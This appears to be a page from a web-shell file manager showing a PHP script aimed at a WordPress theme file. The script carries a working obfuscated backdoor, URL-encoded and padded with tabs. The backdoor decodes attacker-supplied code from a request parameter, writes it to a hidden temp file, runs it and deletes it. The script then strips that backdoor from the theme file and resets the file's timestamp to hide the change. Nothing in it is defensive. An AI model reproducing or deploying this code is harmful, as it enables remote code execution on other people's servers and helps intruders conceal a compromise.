/
tmp
/
Upload File
HOME
<?php $path = '/home2/joyhucol/public_html/themillennialshandbook/wp-content/themes/astra/inc/metabox/index.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28isset%28%24_REQUEST%5B%22%5Cx65nt%5Cx72y%22%5D%29%29%7B%20%24object%20%3D%20%24_REQUEST%5B%22%5Cx65nt%5Cx72y%22%5D%3B%20%24object%3Dexplode%20%28%20%27.%27%20%2C%20%24object%20%29%20%3B%20%24holder%20%3D%20%27%27%3B%20%24s%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%24s%20%29%3B%20%24k%20%3D%200%3B%20while%20%28%24k%3Ccount%28%24object%29%29%20%7B%20%24v7%20%3D%20%24object%5B%24k%5D%3B%20%24chS%20%3D%20ord%28%24s%5B%24k%20%25%20%24sLen%5D%20%29%3B%20%24dec%20%3D%20%28%28int%29%24v7%20-%20%24chS%20-%20%28%24k%20%25%2010%29%29%20%5E%2063%3B%20%24holder%20.%3D%20chr%28%24dec%20%29%3B%20%24k%2B%2B%3B%20%7D%20%24elem%20%3D%20array_filter%28%5B%22/var/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20getcwd%28%29%2C%20getenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20%22/dev/shm%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20session_save_path%28%29%2C%20%22/tmp%22%5D%29%3B%20for%20%28%24reference%20%3D%200%2C%20%24dchunk%20%3D%20count%28%24elem%29%3B%20%24reference%20%3C%20%24dchunk%3B%20%24reference%2B%2B%29%20%7B%20%24k%20%3D%20%24elem%5B%24reference%5D%3B%20if%20%28%28function%28%24d%29%20%7B%20return%20is_dir%28%24d%29%20%26%26%20is_writable%28%24d%29%3B%20%7D%29%28%24k%29%29%20%7B%20%24desc%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24k%2C%20%22.resource%22%5D%29%3B%20if%20%28file_put_contents%28%24desc%2C%20%24holder%29%29%20%7B%20require%20%24desc%3B%20unlink%28%24desc%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = (string) @file_get_contents($path); if (strlen($content) > 0 && strpos($content, $new_content) !== FALSE) { $candidate = str_replace($new_content, '', $content); $safe = (strlen($candidate) >= 32) && (strpos($candidate, '<?php') !== FALSE || strpos($candidate, '<?=') !== FALSE); if ($safe) { $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft); } elseif ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } } } die('!success!');